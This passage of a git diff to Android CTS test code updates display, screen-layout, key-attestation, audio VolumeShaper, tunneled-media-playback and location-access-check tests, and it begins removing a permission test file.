         Pattern pattern = Pattern.compile("Success: created user id (\\d+)\\R*");
         String commandResult = executeShellCommand("pm create-user --profileOf cur "
                 + "--user-type android.os.usertype.profile.CLONE test");
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index 2d44420..fcb33a2 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -554,12 +554,17 @@
         Display display = getSecondaryDisplay(manager.getDisplays());
 
         Point outSize = new Point();
-        display.getSize(outSize);
+        display.getRealSize(outSize);
 
         DisplayMetrics outMetrics = new DisplayMetrics();
         outMetrics.setToDefaults();
         display.getMetrics(outMetrics);
 
+        assertEquals("Secondary display real size width is unexpected; height: " + outSize.y
+                + " name " + display.getName() + " id " + display.getDisplayId()
+                + " type " + display.getType(), SECONDARY_DISPLAY_WIDTH, outSize.x);
+        assertEquals(SECONDARY_DISPLAY_HEIGHT, outSize.y);
+
         assertEquals("Secondary display width is unexpected; height: " + outMetrics.heightPixels
                 + " name " + display.getName() + " id " + display.getDisplayId()
                 + " type " + display.getType(), SECONDARY_DISPLAY_WIDTH, outMetrics.widthPixels);
diff --git a/tests/tests/dpi/Android.bp b/tests/tests/dpi/Android.bp
index 1d21b2d..93ccd05 100644
--- a/tests/tests/dpi/Android.bp
+++ b/tests/tests/dpi/Android.bp
@@ -25,6 +25,7 @@
         "ctstestrunner-axt",
         "junit",
         "compatibility-device-util-axt",
+        "cts-wm-util",
     ],
     libs: [
         "android.test.runner",
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index d47274c..5db5f661 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -23,6 +23,7 @@
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_MASK;
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_NORMAL;
 import static android.content.res.Configuration.SCREENLAYOUT_SIZE_XLARGE;
+import static android.server.wm.ActivityManagerTestBase.isTablet;
 import static android.view.WindowInsets.Type.displayCutout;
 import static android.view.WindowInsets.Type.navigationBars;
 import static android.view.WindowInsets.Type.systemBars;
@@ -70,6 +71,12 @@
             tearDown();
             return;
         }
+        if (isTablet()) {
+            // TODO (b/228380863): re-enable it once the configuration calculation issue is resolved
+            // on taskbar devices.
+            tearDown();
+            return;
+        }
         // Disable IgnoreOrientationRequest feature because when it's enabled, the device would only
         // follow physical rotations.
         try (IgnoreOrientationRequestSession session =
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 56b5aaf..043b5de 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -83,7 +83,6 @@
 
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.permissions.PermissionContext;
-import com.android.compatibility.common.util.CddTest;
 
 import com.google.common.collect.ImmutableSet;
 
@@ -807,26 +806,6 @@
         testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_MEID, "Unable to retrieve MEID");
     }
 
-    @CddTest(requirement="9.11.4")
-    @Test
-    public void testMandatoryDeviceidAttestation() {
-        // ID attestation is only mandatory on devices that have shipped with T and
-        // above.
-        if (Build.VERSION.DEVICE_INITIAL_SDK_INT <= Build.VERSION_CODES.S) {
-            return;
-        }
-        // ID attestation is not implemented on the goldfish emulator.
-        if (Build.BOARD.startsWith("goldfish")) {
-            return;
-        }
-        // ID attestation is tested by other tests (outside of this class), including negative
-        // tests that ID attestation is failing if the platform does not declare support.
-        // Hence, it's safe to only test here that the feature is supported.
-        PackageManager pm = getContext().getPackageManager();
-        assertThat("As of Android T, devices must support ID attestation",
-                pm.hasSystemFeature(PackageManager.FEATURE_DEVICE_ID_ATTESTATION),is(true));
-    }
-
     @SuppressWarnings("deprecation")
     private void testRsaAttestation(byte[] challenge, boolean includeValidityDates, int keySize,
             int purposes, String[] paddingModes, boolean devicePropertiesAttestation)
@@ -1125,7 +1104,10 @@
             boolean requireCreationDateTime =
                 attestation.getKeymasterVersion() >= Attestation.KM_VERSION_KEYMINT_1;
 
-            if (requireCreationDateTime || creationDateTime != null) {
+            // b/232078430: skip time checks in Android T due to unfixed bug.
+            boolean doTimeChecks = false;
+
+            if (doTimeChecks && (requireCreationDateTime || creationDateTime != null)) {
                 assertNotNull(creationDateTime);
 
                 assertTrue("Test start time (" + startTime.getTime() + ") and key creation time (" +
@@ -1510,6 +1492,7 @@
     public static void verifyCertificateChain(Certificate[] certChain, boolean expectStrongBox)
             throws GeneralSecurityException {
         assertNotNull(certChain);
+        boolean strongBoxSubjectFound = false;
         for (int i = 1; i < certChain.length; ++i) {
             try {
                 PublicKey pubKey = certChain[i].getPublicKey();
@@ -1536,19 +1519,19 @@
                 if (i == 1) {
                     // First cert should have subject "CN=Android Keystore Key".
                     assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
-                } else {
-                    // Only strongbox implementations should have strongbox in the subject line
-                    assertEquals(expectStrongBox, signedCertSubject.toString()
-                                                                   .toLowerCase()
-                                                                   .contains("strongbox"));
+                } else if (signedCertSubject.toString().toLowerCase().contains("strongbox")) {
+                    strongBoxSubjectFound = true;
                 }
             } catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
                     | NoSuchProviderException | SignatureException e) {
                 throw new GeneralSecurityException("Using StrongBox: " + expectStrongBox + "\n"
-                        + "Failed to verify certificate "
-                        + certChain[i - 1] + " with public key " + certChain[i].getPublicKey(), e);
+                                + "Failed to verify certificate " + certChain[i - 1]
+                                + " with public key " + certChain[i].getPublicKey(),
+                        e);
             }
         }
+        // At least one intermediate in a StrongBox chain must have "strongbox" in the subject.
+        assertEquals(expectStrongBox, strongBoxSubjectFound);
     }
 
     private void testDeviceIdAttestationFailure(int idType,
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java b/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
index a8efc9b..9bdd2a0 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/VolumeShaperTest.java
@@ -17,6 +17,7 @@
 package android.media.audio.cts;
 
 import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -191,7 +192,7 @@
                 .isLowRamDevice();
     }
 
-    private static AudioTrack createSineAudioTrack() {
+    private static AudioTrack createSineAudioTrack(boolean allowOffload) {
         final int TEST_FORMAT = AudioFormat.ENCODING_PCM_FLOAT;
         final int TEST_MODE = AudioTrack.MODE_STATIC;
         final int TEST_SR = 48000;
@@ -203,8 +204,13 @@
 
         final int frameCount = AudioHelper.frameCountFromMsec(100 /*ms*/, format);
         final int frameSize = AudioHelper.frameSizeFromFormat(format);
+        final int usage = allowOffload
+                ? AudioAttributes.USAGE_MEDIA : AudioAttributes.USAGE_ALARM;
 
         final AudioTrack audioTrack = new AudioTrack.Builder()
+            .setAudioAttributes(new AudioAttributes.Builder()
+                    .setUsage(usage)
+                    .build())
             .setAudioFormat(format)
             .setBufferSizeInBytes(frameCount * frameSize)
             .setTransferMode(TEST_MODE)
@@ -268,8 +274,8 @@
     }
 
     private static class AudioTrackPlayer implements Player {
-        public AudioTrackPlayer() {
-            mTrack = createSineAudioTrack();
+        AudioTrackPlayer(boolean allowOffload) {
+            mTrack = createSineAudioTrack(allowOffload);
             mName = new String("AudioTrack");
         }
 
@@ -341,11 +347,14 @@
     private static final int PLAYER_TYPE_AUDIO_TRACK = 0;
     private static final int PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED = 1;
     private static final int PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED = 2;
+    private static final int PLAYER_TYPE_AUDIO_TRACK_NON_OFFLOADED = 3;
 
     private Player createPlayer(int type) {
         switch (type) {
             case PLAYER_TYPE_AUDIO_TRACK:
-                return new AudioTrackPlayer();
+                return new AudioTrackPlayer(true /* allowOffload */);
+            case PLAYER_TYPE_AUDIO_TRACK_NON_OFFLOADED:
+                return new AudioTrackPlayer(false /* allowOffload */);
             case PLAYER_TYPE_MEDIA_PLAYER_NON_OFFLOADED:
                 return new MediaPlayerPlayer(false /* offloaded */);
             case PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED:
@@ -1277,6 +1286,12 @@
                 if (useMediaTime &&  p == PLAYER_TYPE_MEDIA_PLAYER_OFFLOADED) {
                     continue;  // Offloaded media time not supported.
                 }
+                // For this test, force non offload track for media time,
+                // as media time based offload/direct volumeshaper is not supported yet.
+                // TODO(b/236187574) - remove this requirement.
+                if (useMediaTime &&  p == PLAYER_TYPE_AUDIO_TRACK) {
+                    p = PLAYER_TYPE_AUDIO_TRACK_NON_OFFLOADED;
+                }
 
                 try (   Player player = createPlayer(p);
                         VolumeShaper volumeShaper = player.createVolumeShaper(config);
diff --git a/tests/tests/media/common/src/android/media/cts/CodecState.java b/tests/tests/media/common/src/android/media/cts/CodecState.java
index e117c3b..13e56f8 100644
--- a/tests/tests/media/common/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/common/src/android/media/cts/CodecState.java
@@ -59,6 +59,7 @@
     private int mAvailableInputBufferIndex;
     private LinkedList<Integer> mAvailableOutputBufferIndices;
     private LinkedList<MediaCodec.BufferInfo> mAvailableOutputBufferInfos;
+
     /**
      * The media timestamp of the latest frame decoded by this codec.
      *
@@ -70,7 +71,6 @@
     private long mFirstSampleTimeUs;
     private long mPlaybackStartTimeUs;
     private long mLastPresentTimeUs;
-    private long mOffsetTimestampUs = 0;
     private MediaCodec mCodec;
     private MediaTimeProvider mMediaTimeProvider;
     private MediaExtractor mExtractor;
@@ -365,7 +365,7 @@
                 sampleTime -= mFirstSampleTimeUs;
             }
 
-            mLastPresentTimeUs = mPlaybackStartTimeUs + sampleTime + mOffsetTimestampUs;
+            mLastPresentTimeUs = mPlaybackStartTimeUs + sampleTime;
 
             if ((sampleFlags & MediaExtractor.SAMPLE_FLAG_ENCRYPTED) != 0) {
                 MediaCodec.CryptoInfo info = new MediaCodec.CryptoInfo();
@@ -660,21 +660,10 @@
     /**
      * Seek media extractor to the beginning of the configured track.
      *
-     * @param shouldContinuePts  a boolean that controls whether timestamps keep increasing
+     * @param presentationTimeOffsetUs The offset for the presentation time to start at.
      */
-    public void seekToBeginning(boolean shouldContinuePts) {
-        mExtractor.seekTo(UNINITIALIZED_TIMESTAMP, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
-        if (shouldContinuePts) {
-            if (mDecodedFramePresentationTimeUs != UNINITIALIZED_TIMESTAMP) {
-                mOffsetTimestampUs = mDecodedFramePresentationTimeUs;
-                return;
-            }
-            if (mRenderedVideoFramePresentationTimeUs != UNINITIALIZED_TIMESTAMP) {
-                mOffsetTimestampUs = mRenderedVideoFramePresentationTimeUs;
-                return;
-            }
-        } else {
-            mOffsetTimestampUs = 0;
-        }
+    public void seekToBeginning(long presentationTimeOffsetUs) {
+        mExtractor.seekTo(mFirstSampleTimeUs, MediaExtractor.SEEK_TO_CLOSEST_SYNC);
+        mPlaybackStartTimeUs = presentationTimeOffsetUs;
     }
 }
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
index 3e90992..0b495dd 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -400,38 +400,24 @@
         }
     }
 
-    /**
-     * Flushes all the video codecs when the player is in stand-by.
+    /** Seek all tracks to their very beginning.
      *
+     * @param  presentationTimeOffsetUs The offset for the presentation time to start at.
      * @throws IllegalStateException  if the player is not paused
      */
-    public void videoFlush() {
-        Log.d(TAG, "videoFlush");
+    public void seekToBeginning(long presentationTimeOffsetUs) {
+        Log.d(TAG, "seekToBeginning");
         synchronized (mState) {
             if (mState != STATE_PAUSED) {
                 throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
             }
 
             for (CodecState state : mVideoCodecStates.values()) {
-                state.flush();
-            }
-        }
-    }
-
-    /** Seek all video tracks to their very beginning.
-     *
-     * @param  shouldContinuePts      a boolean that controls whether timestamps keep increasing
-     * @throws IllegalStateException  if the player is not paused
-     */
-    public void videoSeekToBeginning(boolean shouldContinuePts) {
-        Log.d(TAG, "videoSeekToBeginning");
-        synchronized (mState) {
-            if (mState != STATE_PAUSED) {
-                throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+                state.seekToBeginning(presentationTimeOffsetUs);
             }
 
-            for (CodecState state : mVideoCodecStates.values()) {
-                state.seekToBeginning(shouldContinuePts);
+            for (CodecState state : mAudioCodecStates.values()) {
+                state.seekToBeginning(presentationTimeOffsetUs);
             }
         }
     }
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
index 73ba7c3..a424edb 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java
@@ -4436,33 +4436,51 @@
 
         // Pause playback
         mMediaCodecPlayer.pause();
-        // Ensure audio and video are in sync. We give some time to the codec to finish displaying
-        // queued images if need be.
+        // Allow some time for playback to pause
         Thread.sleep(maxDrainTimeMs);
-        final long audioPositionUs = mMediaCodecPlayer.getAudioTrackPositionUs();
-        final long videoPositionUs = mMediaCodecPlayer.getCurrentPosition();
+
+        // Verify that playback has paused
+        long pauseAudioFramePositionUs = mMediaCodecPlayer.getTimestamp().framePosition;
+        long pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
+        Thread.sleep(maxDrainTimeMs);
+        assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioFramePositionUs);
+        assertEquals(mMediaCodecPlayer.getVideoTimeUs(), pauseVideoPositionUs);
+
+        // Verify audio and video are in sync
         assertTrue(String.format("Video pts (%d) is ahead of audio pts (%d)",
-                        videoPositionUs, audioPositionUs),
-                videoPositionUs <= audioPositionUs);
-        // Flush the video pipeline
-        mMediaCodecPlayer.videoFlush();
+                        pauseVideoPositionUs, pauseAudioFramePositionUs),
+                pauseVideoPositionUs <= pauseAudioFramePositionUs);
+
+        // Flush both audio and video pipelines
+        mMediaCodecPlayer.flush();
+
         // The flush should not cause any frame to be displayed.
         // Wait for the max startup latency to see if one (incorrectly) arrives.
         Thread.sleep(maxAllowedTimeToFirstFrameMs);
-        assertEquals("Video frame rendered after flush", CodecState.UNINITIALIZED_TIMESTAMP,
-                mMediaCodecPlayer.getCurrentPosition());
-        // We queue one frame, but expect it not to be rendered
-        mMediaCodecPlayer.videoSeekToBeginning(true /* shouldContinuePts */);
+        assertEquals("Video frame rendered after flush", mMediaCodecPlayer.getVideoTimeUs(),
+                CodecState.UNINITIALIZED_TIMESTAMP);
+
+        // Ensure video peek is disabled before queuing the next frame, otherwise it will
+        // automatically be rendered when queued.
+        mMediaCodecPlayer.setVideoPeek(false);
+
+        // We rewind to the beginning of the stream (to a key frame) and queue one frame, but
+        // pretend like we're seeking 1 second forward in the stream.
+        long presentationTimeOffsetUs = pauseVideoPositionUs + 1000 * 1000;
+        mMediaCodecPlayer.seekToBeginning(presentationTimeOffsetUs);
         Long queuedVideoTimestamp = mMediaCodecPlayer.queueOneVideoFrame();
         assertNotNull("Failed to queue a video frame", queuedVideoTimestamp);
-        // The enqueued frame should not propagate through the tunnel while we're paused.
+
+        // The enqueued frame should not be rendered while we're paused.
         // Wait for the max startup latency to see if it (incorrectly) arrives.
         Thread.sleep(maxAllowedTimeToFirstFrameMs);
-        assertEquals("Video frame rendered during pause", CodecState.UNINITIALIZED_TIMESTAMP,
-                mMediaCodecPlayer.getCurrentPosition());
+        assertEquals("Video frame rendered during pause", mMediaCodecPlayer.getVideoTimeUs(),
+                CodecState.UNINITIALIZED_TIMESTAMP);
+
         // Resume playback
         mMediaCodecPlayer.resume();
         Thread.sleep(maxAllowedTimeToFirstFrameMs);
+        // Verify that the first rendered frame was the first queued frame
         ImmutableList<Long> renderedVideoTimestamps =
                 mMediaCodecPlayer.getRenderedVideoFrameTimestampList();
         assertFalse(String.format("No frame rendered after resume within %d ms",
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index ab7a15d..b41fb08 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -18,9 +18,9 @@
 
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.Manifest.permission.WRITE_DEVICE_CONFIG;
 import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
 import static android.app.AppOpsManager.OP_FLAGS_ALL_TRUSTED;
-import static android.app.Notification.EXTRA_TITLE;
 import static android.content.Context.BIND_AUTO_CREATE;
 import static android.content.Context.BIND_NOT_FOREGROUND;
 import static android.content.Intent.ACTION_BOOT_COMPLETED;
@@ -50,6 +50,7 @@
 
 import android.app.ActivityManager;
 import android.app.AppOpsManager;
+import android.app.PendingIntent;
 import android.app.UiAutomation;
 import android.content.ComponentName;
 import android.content.ContentResolver;
@@ -62,6 +63,7 @@
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Looper;
@@ -78,9 +80,10 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SdkSuppress;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.DeviceConfigStateHelper;
+import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
 import com.android.compatibility.common.util.ProtoUtils;
 import com.android.compatibility.common.util.mainline.MainlineModule;
 import com.android.compatibility.common.util.mainline.ModuleDetector;
@@ -93,6 +96,7 @@
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -117,10 +121,22 @@
     private static final String TEST_APP_LOCATION_FG_ACCESS_APK =
             "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
     private static final int LOCATION_ACCESS_CHECK_JOB_ID = 0;
+    private static final int LOCATION_ACCESS_CHECK_NOTIFICATION_ID = 0;
 
-    /** Whether to show location access check notifications. */
+    /**
+     * Whether to show location access check notifications.
+     */
     private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
             "location_access_check_enabled";
+    private static final String PROPERTY_LOCATION_ACCESS_CHECK_DELAY_MILLIS =
+            "location_access_check_delay_millis";
+    private static final String PROPERTY_LOCATION_ACCESS_PERIODIC_INTERVAL_MILLIS =
+            "location_access_check_periodic_interval_millis";
+    private static final String PROPERTY_BG_LOCATION_CHECK_ENABLED = "bg_location_check_is_enabled";
+    private static final String PROPERTY_JOB_SCHEDULER_MAX_JOB_PER_RATE_LIMIT_WINDOW =
+            "qc_max_job_count_per_rate_limiting_window";
+    private static final String PROPERTY_JOB_SCHEDULER_RATE_LIMIT_WINDOW_MILLIS =
+            "qc_rate_limiting_window_ms";
 
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 15000;
@@ -147,16 +163,93 @@
     private static ServiceConnection sConnection;
     private static IAccessLocationOnCommand sLocationAccessor;
 
-    private DeviceConfigStateHelper mPrivacyDeviceConfig =
-            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_PRIVACY);
-    private static DeviceConfigStateHelper sJobSchedulerDeviceConfig =
-            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
-
     private static void assumeNotPlayManaged() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
                 sContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER));
     }
 
+    // Override location access check flag
+    @Rule
+    public DeviceConfigStateChangerRule mPrivacyDeviceConfig =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_LOCATION_ACCESS_CHECK_ENABLED,
+                    Boolean.toString(true));
+
+    // Override SafetyCenter enabled flag
+    @Rule
+    public DeviceConfigStateChangerRule sPrivacyDeviceConfigSafetyCenterEnabled =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    SafetyCenterUtils.PROPERTY_SAFETY_CENTER_ENABLED,
+                    Boolean.toString(true));
+
+    // Override BG location enabled flag
+    @Rule
+    public DeviceConfigStateChangerRule sPrivacyDeviceConfigBgLocationCheckEnabled =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_BG_LOCATION_CHECK_ENABLED,
+                    Boolean.toString(true));
+
+    // Override general notification interval
+    @Rule
+    public DeviceConfigStateChangerRule sPrivacyDeviceConfigBgCheckIntervalMillis =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_LOCATION_ACCESS_PERIODIC_INTERVAL_MILLIS,
+                    "100");
+
+    // Override general delay interval
+    @Rule
+    public DeviceConfigStateChangerRule sPrivacyDeviceConfigBgCheckDelayMillis =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_LOCATION_ACCESS_CHECK_DELAY_MILLIS,
+                    "50");
+
+    // Disable job scheduler throttling by allowing 300000 jobs per 30 sec
+    @Rule
+    public DeviceConfigStateChangerRule sJobSchedulerDeviceConfig1 =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_JOB_SCHEDULER,
+                    PROPERTY_JOB_SCHEDULER_MAX_JOB_PER_RATE_LIMIT_WINDOW,
+                    Integer.toString(3000000));
+
+    // Disable job scheduler throttling by allowing 300000 jobs per 30 sec
+    @Rule
+    public DeviceConfigStateChangerRule sJobSchedulerDeviceConfig2 =
+            new DeviceConfigStateChangerRule(sContext,
+                    DeviceConfig.NAMESPACE_JOB_SCHEDULER,
+                    PROPERTY_JOB_SCHEDULER_RATE_LIMIT_WINDOW_MILLIS,
+                    Integer.toString(30000));
+
+    /**
+     * Change settings so that permission controller can show location access notifications more
+     * often.
+     */
+    @BeforeClass
+    public static void reduceDelays() {
+        runWithShellPermissionIdentity(() -> {
+            ContentResolver cr = sContext.getContentResolver();
+            // New settings will be applied in when permission controller is reset
+            Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS, 100);
+            Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS, 50);
+        });
+    }
+
+    /**
+     * Reset settings so that permission controller runs normally.
+     */
+    @AfterClass
+    public static void resetDelays() throws Throwable {
+        runWithShellPermissionIdentity(() -> {
+            ContentResolver cr = sContext.getContentResolver();
+            Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS);
+            Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS);
+        });
+    }
+
     /**
      * Connected to {@value #TEST_APP_PKG} and make it access the location in the background
      */
@@ -272,7 +365,6 @@
      * controller.
      *
      * @param event the job event (start/stop)
-     *
      * @return the last time the event happened.
      */
     private static long getLastJobTime(int event) throws Exception {
@@ -358,8 +450,7 @@
             return null;
         }
 
-        if (notification.getNotification().extras.getString(EXTRA_TITLE, "")
-                .contains(TEST_APP_LABEL)) {
+        if (notification.getId() == LOCATION_ACCESS_CHECK_NOTIFICATION_ID) {
             if (cancelNotification) {
                 notificationService.cancelNotification(notification.getKey());
 
@@ -395,25 +486,6 @@
                 NotificationListener.class).flattenToString()));
     }
 
-    /**
-     * Change settings so that permission controller can show location access notifications more
-     * often.
-     */
-    @BeforeClass
-    public static void reduceDelays() {
-        runWithShellPermissionIdentity(() -> {
-            ContentResolver cr = sContext.getContentResolver();
-
-            // New settings will be applied in when permission controller is reset
-            Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS, 100);
-            Settings.Secure.putLong(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS, 50);
-
-            // Disable job scheduler throttling by allowing 300000 jobs per 30 sec
-            sJobSchedulerDeviceConfig.set("qc_max_job_count_per_rate_limiting_window", "3000000");
-            sJobSchedulerDeviceConfig.set("qc_rate_limiting_window_ms", "30000");
-        });
-    }
-
     @BeforeClass
     public static void installBackgroundAccessApp() throws Exception {
         installBackgroundAccessApp(false);
@@ -444,6 +516,21 @@
         sLocationAccessor = null;
     }
 
+    private void setDeviceConfigProperty(
+            @NonNull String propertyName,
+            @NonNull String value) {
+        runWithShellPermissionIdentity(() -> {
+            boolean valueWasSet = DeviceConfig.setProperty(
+                    DeviceConfig.NAMESPACE_PRIVACY,
+                    propertyName,
+                    value,
+                    false);
+            if (!valueWasSet) {
+                throw new IllegalStateException("Could not set " + propertyName + " to " + value);
+            }
+        }, WRITE_DEVICE_CONFIG);
+    }
+
 
     private static void installForegroundAccessApp() throws Exception {
         unbindService();
@@ -514,8 +601,8 @@
      * Enable location access check
      */
     public void enableLocationAccessCheck() throws Throwable {
-        mPrivacyDeviceConfig.set(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "true");
-
+        setDeviceConfigProperty(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED,
+                "true");
         // Run a location access check to update enabled state inside permission controller
         runLocationCheck();
     }
@@ -524,8 +611,8 @@
      * Disable location access check
      */
     private void disableLocationAccessCheck() throws Throwable {
-        mPrivacyDeviceConfig.set(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED, "false");
-
+        setDeviceConfigProperty(PROPERTY_LOCATION_ACCESS_CHECK_ENABLED,
+                "false");
         // Run a location access check to update enabled state inside permission controller
         runLocationCheck();
     }
@@ -631,27 +718,10 @@
     }
 
     /**
-     * Reset settings so that permission controller runs normally.
-     */
-    @AfterClass
-    public static void resetDelays() throws Throwable {
-        runWithShellPermissionIdentity(() -> {
-            ContentResolver cr = sContext.getContentResolver();
-
-            Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_INTERVAL_MILLIS);
-            Settings.Secure.resetToDefaults(cr, LOCATION_ACCESS_CHECK_DELAY_MILLIS);
-
-            sJobSchedulerDeviceConfig.restoreOriginalValues();
-        });
-    }
-
-    /**
      * Reset location access check
      */
     @After
     public void resetPrivacyConfig() throws Throwable {
-        mPrivacyDeviceConfig.restoreOriginalValues();
-
         // Run a location access check to update enabled state inside permission controller
         runLocationCheck();
     }
@@ -665,7 +735,6 @@
     public void notificationIsShown() throws Throwable {
         accessLocation();
         runLocationCheck();
-
         eventually(() -> assertNotNull(getNotification(true)), EXPECTED_TIMEOUT_MILLIS);
     }
 
@@ -844,4 +913,23 @@
         runLocationCheck();
         assertNull(getNotification(false));
     }
+
+    @Test
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+    public void notificationOnClickOpensSafetyCenter() throws Throwable {
+        accessLocation();
+        runLocationCheck();
+
+        StatusBarNotification currentNotification = eventually(() -> {
+            StatusBarNotification notification = getNotification(false);
+            assertNotNull(notification);
+            return notification;
+        }, EXPECTED_TIMEOUT_MILLIS);
+
+        // Verify content intent
+        PendingIntent contentIntent = currentNotification.getNotification().contentIntent;
+        contentIntent.send();
+
+        SafetyCenterUtils.assertSafetyCenterStarted();
+    }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionAllServicesTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionAllServicesTest.kt
deleted file mode 100644
index a0220be..0000000
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionAllServicesTest.kt
+++ /dev/null
@@ -1,174 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.permission3.cts
-
-import android.app.Activity
-import android.app.AppOpsManager
-import android.content.ComponentName
-import android.content.Intent
-import android.location.LocationManager
-import android.net.Uri
-import android.os.Build
-import android.provider.Settings
-import android.support.test.uiautomator.By
-import androidx.test.filters.SdkSuppress
-import com.android.compatibility.common.util.AppOpsUtils.setOpMode
-import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
-import com.android.compatibility.common.util.SystemUtil.eventually
-import com.android.compatibility.common.util.CtsDownstreamingTest
-import java.util.concurrent.TimeUnit
-import org.junit.Assert.assertEquals
-import org.junit.Assert.assertTrue
-import org.junit.Assert.assertNull
-import org.junit.Assume.assumeFalse
-import org.junit.Before
-import org.junit.Test
-
-@CtsDownstreamingTest
